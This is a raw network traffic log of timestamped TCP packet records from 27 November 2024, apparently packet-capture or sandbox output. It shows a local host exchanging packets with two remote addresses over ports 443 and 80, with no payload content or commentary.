Nov 27, 2024 16:34:50.756990910 CET	443	49846	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:50.759090900 CET	49857	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:50.759138107 CET	443	49857	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:50.759224892 CET	49857	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:50.759453058 CET	49857	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:50.759469032 CET	443	49857	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:50.768995047 CET	443	49845	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:50.769058943 CET	443	49845	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:50.769119978 CET	49845	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:50.771574974 CET	49845	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:50.771574974 CET	49845	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:50.771590948 CET	443	49845	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:50.771601915 CET	443	49845	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:50.774380922 CET	49858	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:50.774413109 CET	443	49858	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:50.774702072 CET	49858	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:50.774858952 CET	49858	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:50.774868011 CET	443	49858	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:50.783402920 CET	443	49847	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:50.783468008 CET	443	49847	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:50.783653021 CET	49847	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:50.783920050 CET	49847	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:50.783926010 CET	443	49847	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:50.783940077 CET	49847	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:50.783943892 CET	443	49847	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:50.790958881 CET	49859	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:50.790999889 CET	443	49859	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:50.791084051 CET	49859	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:50.791250944 CET	49859	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:50.791263103 CET	443	49859	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:50.800357103 CET	49843	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:50.800375938 CET	443	49843	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:50.821796894 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.821854115 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.821938992 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.822117090 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.822258949 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.822402000 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.823077917 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.823168039 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.823182106 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.823340893 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.824224949 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.824268103 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.825100899 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.825114965 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.825795889 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.825795889 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.825795889 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.825828075 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.825843096 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.826066017 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.826066017 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.826694965 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.826796055 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.826867104 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.826867104 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.827548981 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.827626944 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.828195095 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.828195095 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.828439951 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.828676939 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.828778028 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.828778028 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.829360008 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.829479933 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.830048084 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.830048084 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.830316067 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.830424070 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.830468893 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.830766916 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.831160069 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.831258059 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.831360102 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.831360102 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.832143068 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.832235098 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.832446098 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.832446098 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.832999945 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.833076000 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.833252907 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.833467007 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.833890915 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.834182978 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.834327936 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.834327936 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.834959984 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.834991932 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.835035086 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.835349083 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.835702896 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.835777044 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.836114883 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.836589098 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.836709023 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.836775064 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.836992025 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.837627888 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.837656975 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.837922096 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.837922096 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.838610888 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.838675976 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.838676929 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.839320898 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.839337111 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.839380026 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.839453936 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.840265036 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.840282917 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.840392113 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.840392113 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.841105938 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.841291904 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.841516972 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.841516972 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.842048883 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.842144966 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.842283964 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.842375994 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.843168974 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.843517065 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.843875885 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.843952894 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.844600916 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.844600916 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.844600916 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.844748020 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.844841957 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.844914913 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.845674992 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.845781088 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.845844030 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.846061945 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.846534967 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.846601009 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.846625090 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.846820116 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.847457886 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.847537994 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.847584963 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.848372936 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.848512888 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.848591089 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.849299908 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.849486113 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.850164890 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.850187063 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.850187063 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.850187063 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.850373030 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.850440979 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.850585938 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.851031065 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.851200104 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.851360083 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.851427078 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.851994991 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.852094889 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.852158070 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.852158070 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.852962017 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.853058100 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.853204966 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.853424072 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.853926897 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.854020119 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.854737043 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.854855061 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.854887009 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.854903936 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.855353117 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.855353117 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.855642080 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.855942965 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.856229067 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.856354952 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.856496096 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.856512070 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.856636047 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.857422113 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.857702971 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.858289003 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.858346939 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.858346939 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.858346939 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.858371019 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.858526945 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.859177113 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.859334946 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.859335899 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.860119104 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.860356092 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.860394955 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.860394955 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.860394955 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.861712933 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.861778021 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.861937046 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.862026930 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.862519026 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.862580061 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.862874985 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.863055944 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.863496065 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.863698959 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.864397049 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.864717007 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.865159035 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.865183115 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.865183115 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.865183115 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.865518093 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.865981102 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.866033077 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.866033077 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.866055012 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.866106033 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.866151094 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.866775036 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.866875887 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.867057085 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.867057085 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.867475033 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.867597103 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.867598057 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.868410110 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.868664026 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.868690968 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.868690968 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.868796110 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.869249105 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.869323015 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.022851944 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.022923946 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.022964001 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.022964001 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.023176908 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.023299932 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.023355961 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.023576975 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.024235964 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.024349928 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.024357080 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.024501085 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.025063038 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.025079966 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.025113106 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.025151014 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.026571035 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.026587009 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.026657104 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.026992083 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.027277946 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.028065920 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.028079987 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.028152943 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.028182983 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.028585911 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.028633118 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.028841972 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.029650927 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.029664993 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.029706955 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.029712915 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.029747009 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.029784918 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.030683041 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.030757904 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.030760050 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.030853987 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.031662941 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.031722069 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.031774044 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.032054901 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.032205105 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.032342911 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.032562971 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.032562971 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.033281088 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.033296108 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.033327103 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.034097910 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.034149885 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.034149885 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.034754992 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.034804106 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.034945011 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.034989119 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.035060883 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.035296917 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.035897017 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.035950899 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.036374092 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.036473036 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.036838055 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.036854982 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.036900997 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.037179947 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.037667990 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.037858009 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.037869930 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.037972927 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.038580894 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.038784027 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.038836002 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.038949013 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.039572954 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.039671898 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.039691925 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.039973974 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.040601969 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.040832043 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.041183949 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.041431904 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.041631937 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.041662931 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.041712046 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.041712046 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.042361021 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.042443991 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.042503119 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.043001890 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.043072939 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.043159962 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.043730021 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.043885946 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.043983936 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.044034004 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.044140100 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.044363022 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.044920921 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.044934988 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.044980049 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.045057058 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.045865059 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.045926094 CET	80	49777	185.215.113.206	192.168.2.7
